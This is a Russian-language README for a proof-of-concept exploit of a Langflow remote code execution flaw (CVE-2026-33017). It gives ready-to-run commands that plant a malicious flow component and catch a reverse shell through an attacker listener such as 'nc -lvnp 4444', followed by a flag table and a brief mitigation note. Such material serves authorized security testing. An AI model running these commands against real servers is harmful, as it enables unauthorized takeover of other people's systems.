
CVE-2026-33017 Langflow RCE PoC
PoC для неаутентифицированной уязвимости build_public_tmp, позволяющей выполнять код в Langflow.
Он загружает вредоносный компонент в публичный флоу, запускает сборку и перехватывает reverse shell.
Только для авторизованного тестирования безопасности. Используйте только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение.
requests (pip install requests)Запустите встроенный слушатель и активируйте эксплойт одной командой:
python3 poc.py \
--url https://target:7860 \
--flow-id <public-flow-uuid> \
--lhost <your-ip> \
--lport 4444 \
--listen
Когда shell подключится, он автоматически попытается повыситься до полностью интерактивного shell.
Если вы предпочитаете использовать собственный слушатель (например, nc -lvnp 4444), уберите :
--listenpython3 poc.py --url https://target:7860 --flow-id <uuid> --lhost <your-ip> --lport 4444
| Флаг | Описание |
|---|---|
--url | URL целевого сервера Langflow (обязательно) |
--flow-id | UUID общего публичного флоу (обязательно) |
--lhost | IP-адрес для обратного вызова reverse shell (обязательно) |
--lport | Порт для обратного вызова reverse shell (обязательно) |
--listen | Запустить встроенный слушатель |
--timeout | Таймаут HTTP-запроса в секундах (по умолчанию 30) |
-k, --insecure | Отключить проверку TLS-сертификатов (самоподписанные / просроченные сертификаты) |
--no-upgrade | Пропустить автоматическое повышение до TTY, использовать простой строчный shell |
CVE-2026-33017 — это неаутентифицированная RCE в конечной точке Langflow POST /api/v1/build_public_tmp/{flow_id}/flow,
которая выполняет переданный атакующим Python-код из определений узлов флоу без песочницы. Чтобы узнать больше, ознакомьтесь с материалами ниже:
Меры по смягчению последствий из отчета Sysdig Threat Research:
/api/v1/build_public_tmp или полностью отключите сборку публичных флоу.Этот инструмент предоставлен для исследований и авторизованного тестирования на проникновение. Автор не несёт ответственности за неправомерное использование или причинённый ущерб.